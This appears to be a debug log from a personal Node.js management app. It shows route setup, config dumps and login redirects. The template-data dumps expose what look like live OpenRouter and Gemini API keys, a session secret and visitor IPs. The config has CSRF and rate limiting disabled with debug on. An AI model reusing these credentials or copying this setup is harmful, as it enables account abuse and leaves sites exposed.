2026-04-28T04:15:01.673Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-04-28T04:15:01.679Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-04-28T04:15:01.691Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-04-28T04:15:01.706Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-04-28T04:15:01.707Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-04-28T04:15:01.709Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-04-28T04:15:01.711Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-04-28T04:15:01.716Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-04-28T04:15:01.722Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-04-28T04:15:01.731Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-04-28T04:15:01.734Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-04-28T04:15:01.808Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-04-28T04:15:01.809Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-04-28T04:15:01.813Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-04-28T04:15:01.819Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-04-28T04:15:01.822Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-04-28T04:15:01.824Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-04-28T04:15:01.833Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-04-28T04:15:01.833Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-04-28T04:15:01.840Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-04-28T04:15:01.842Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-04-28T04:15:01.847Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-04-28T04:15:01.847Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-04-28T04:15:01.850Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-04-28T04:15:01.856Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-04-28T04:15:01.858Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-04-28T04:15:01.861Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-04-28T04:15:01.861Z server-connect:setup:routes Api route /api/test(.json)? created
2026-04-28T04:15:01.866Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-04-28T04:15:01.870Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-04-28T04:15:01.875Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-04-28T04:15:01.881Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-04-28T04:15:01.881Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-04-28T04:15:01.891Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-04-28T04:15:02.379Z server-connect:router Serving templateView /
2026-04-28T04:15:02.384Z server-connect:app Executing action step identify
2026-04-28T04:15:02.385Z server-connect:app options: { provider: 'security' }
2026-04-28T04:15:02.387Z server-connect:auth No login cookie found
2026-04-28T04:15:02.387Z server-connect:output identity: false
2026-04-28T04:15:02.387Z server-connect:app Executing action step restrict
2026-04-28T04:15:02.387Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-28T04:15:02.391Z server-connect:output restrict: undefined
2026-04-28T04:15:02.906Z server-connect:router Serving templateView /login
2026-04-28T04:15:02.907Z server-connect:app Executing action step identify
2026-04-28T04:15:02.907Z server-connect:app options: { provider: 'security' }
2026-04-28T04:15:02.907Z server-connect:auth No login cookie found
2026-04-28T04:15:02.907Z server-connect:output identity: false
2026-04-28T04:15:02.907Z server-connect:router Render template layouts/authentication
2026-04-28T04:15:02.908Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    xxxxxxxxxx: 'close',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36',
    'accept-encoding': 'gzip',
    accept: '*/*',
    'x-forwarded-for': '2a14:7c1:400:1::1',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-29T04:15:02.905Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '2a14:7c1:400:1::1',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_XXXXXXXXXX: 'close',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: '*/*',
    'HTTP_X_FORWARDED-FOR': '2a14:7c1:400:1::1',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-28T19:07:29.897Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-04-28T19:07:32.105Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-04-28T19:07:32.966Z server-connect:setup:upload Upload middleware configured.
2026-04-28T19:07:32.967Z server-connect:secure CSRF Protection initialized
2026-04-28T19:07:32.972Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-04-28T19:07:32.974Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-04-28T19:07:32.975Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-04-28T19:07:32.978Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-04-28T19:07:32.985Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-04-28T19:07:32.990Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-04-28T19:07:33.001Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-04-28T19:07:33.015Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-04-28T19:07:33.020Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-04-28T19:07:33.020Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-04-28T19:07:33.023Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-04-28T19:07:33.028Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-04-28T19:07:33.033Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-04-28T19:07:33.042Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-04-28T19:07:33.047Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-04-28T19:07:33.120Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-04-28T19:07:33.120Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-04-28T19:07:33.125Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-04-28T19:07:33.130Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-04-28T19:07:33.134Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-04-28T19:07:33.136Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-04-28T19:07:33.144Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-04-28T19:07:33.146Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-04-28T19:07:33.152Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-04-28T19:07:33.154Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-04-28T19:07:33.160Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-04-28T19:07:33.162Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-04-28T19:07:33.164Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-04-28T19:07:33.170Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-04-28T19:07:33.170Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-04-28T19:07:33.173Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-04-28T19:07:33.175Z server-connect:setup:routes Api route /api/test(.json)? created
2026-04-28T19:07:33.179Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-04-28T19:07:33.181Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-04-28T19:07:33.187Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-04-28T19:07:33.191Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-04-28T19:07:33.193Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-04-28T19:07:33.202Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-04-28T19:07:33.694Z server-connect:router Serving templateView /
2026-04-28T19:07:33.698Z server-connect:app Executing action step identify
2026-04-28T19:07:33.699Z server-connect:app options: { provider: 'security' }
2026-04-28T19:07:33.701Z server-connect:auth No login cookie found
2026-04-28T19:07:33.701Z server-connect:output identity: false
2026-04-28T19:07:33.701Z server-connect:app Executing action step restrict
2026-04-28T19:07:33.701Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-28T19:07:33.706Z server-connect:output restrict: undefined
2026-04-28T19:07:33.860Z server-connect:router Serving templateView /login
2026-04-28T19:07:33.861Z server-connect:app Executing action step identify
2026-04-28T19:07:33.861Z server-connect:app options: { provider: 'security' }
2026-04-28T19:07:33.861Z server-connect:auth No login cookie found
2026-04-28T19:07:33.861Z server-connect:output identity: false
2026-04-28T19:07:33.861Z server-connect:router Render template layouts/authentication
2026-04-28T19:07:33.862Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    pragma: 'no-cache',
    'cache-control': 'no-cache',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    priority: 'u=0, i',
    'x-forwarded-for': '205.169.39.49',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-29T19:07:33.857Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '205.169.39.49',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_PRAGMA: 'no-cache',
    HTTP_CACHE_CONTROL: 'no-cache',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_PRIORITY: 'u=0, i',
    'HTTP_X_FORWARDED-FOR': '205.169.39.49',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-29T07:24:07.302Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-04-29T07:24:09.571Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-04-29T07:24:10.434Z server-connect:setup:upload Upload middleware configured.
2026-04-29T07:24:10.434Z server-connect:secure CSRF Protection initialized
2026-04-29T07:24:10.440Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-04-29T07:24:10.441Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-04-29T07:24:10.442Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-04-29T07:24:10.444Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-04-29T07:24:10.452Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-04-29T07:24:10.455Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-04-29T07:24:10.467Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-04-29T07:24:10.481Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-04-29T07:24:10.486Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-04-29T07:24:10.487Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-04-29T07:24:10.490Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-04-29T07:24:10.495Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-04-29T07:24:10.501Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-04-29T07:24:10.512Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-04-29T07:24:10.514Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-04-29T07:24:10.587Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-04-29T07:24:10.588Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-04-29T07:24:10.593Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-04-29T07:24:10.600Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-04-29T07:24:10.603Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-04-29T07:24:10.604Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-04-29T07:24:10.612Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-04-29T07:24:10.614Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-04-29T07:24:10.620Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-04-29T07:24:10.622Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-04-29T07:24:10.627Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-04-29T07:24:10.627Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-04-29T07:24:10.631Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-04-29T07:24:10.636Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-04-29T07:24:10.638Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-04-29T07:24:10.640Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-04-29T07:24:10.642Z server-connect:setup:routes Api route /api/test(.json)? created
2026-04-29T07:24:10.646Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-04-29T07:24:10.649Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-04-29T07:24:10.654Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-04-29T07:24:10.657Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-04-29T07:24:10.659Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-04-29T07:24:10.669Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-04-29T07:46:17.800Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-04-29T07:46:18.907Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-04-29T07:46:19.756Z server-connect:setup:upload Upload middleware configured.
2026-04-29T07:46:19.757Z server-connect:secure CSRF Protection initialized
2026-04-29T07:46:19.761Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-04-29T07:46:19.765Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-04-29T07:46:19.765Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-04-29T07:46:19.768Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-04-29T07:46:19.776Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-04-29T07:46:19.777Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-04-29T07:46:19.792Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-04-29T07:46:19.807Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-04-29T07:46:19.810Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-04-29T07:46:19.811Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-04-29T07:46:19.813Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-04-29T07:46:19.816Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-04-29T07:46:19.823Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-04-29T07:46:19.832Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-04-29T07:46:19.837Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-04-29T07:46:19.844Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-04-29T07:46:19.847Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-04-29T07:46:19.851Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-04-29T07:46:19.857Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-04-29T07:46:19.861Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-04-29T07:46:19.861Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-04-29T07:46:19.869Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-04-29T07:46:19.871Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-04-29T07:46:19.877Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-04-29T07:46:19.880Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-04-29T07:46:19.884Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-04-29T07:46:19.884Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-04-29T07:46:19.888Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-04-29T07:46:19.893Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-04-29T07:46:19.896Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-04-29T07:46:19.896Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-04-29T07:46:19.899Z server-connect:setup:routes Api route /api/test(.json)? created
2026-04-29T07:46:19.903Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-04-29T07:46:19.904Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-04-29T07:46:19.911Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-04-29T07:46:19.914Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-04-29T07:46:19.916Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-04-29T07:46:19.926Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-04-29T07:46:20.413Z server-connect:router Serving templateView /
2026-04-29T07:46:20.456Z server-connect:app Executing action step identify
2026-04-29T07:46:20.456Z server-connect:app options: { provider: 'security' }
2026-04-29T07:46:20.472Z server-connect:auth No login cookie found
2026-04-29T07:46:20.472Z server-connect:output identity: false
2026-04-29T07:46:20.472Z server-connect:app Executing action step restrict
2026-04-29T07:46:20.472Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-29T07:46:20.476Z server-connect:output restrict: undefined
2026-04-29T08:19:18.127Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-04-29T08:19:18.315Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-04-29T08:19:18.394Z server-connect:setup:upload Upload middleware configured.
2026-04-29T08:19:18.395Z server-connect:secure CSRF Protection initialized
2026-04-29T08:19:18.398Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-04-29T08:19:18.400Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-04-29T08:19:18.400Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-04-29T08:19:18.401Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-04-29T08:19:18.402Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-04-29T08:19:18.403Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-04-29T08:19:18.404Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-04-29T08:19:18.404Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-04-29T08:19:18.408Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-04-29T08:19:18.408Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-04-29T08:19:18.409Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-04-29T08:19:18.409Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-04-29T08:19:18.409Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-04-29T08:19:18.410Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-04-29T08:19:18.410Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-04-29T08:19:18.411Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-04-29T08:19:18.411Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-04-29T08:19:18.412Z server-connect:setup:routes Api route /api/goals/list(.json)? created
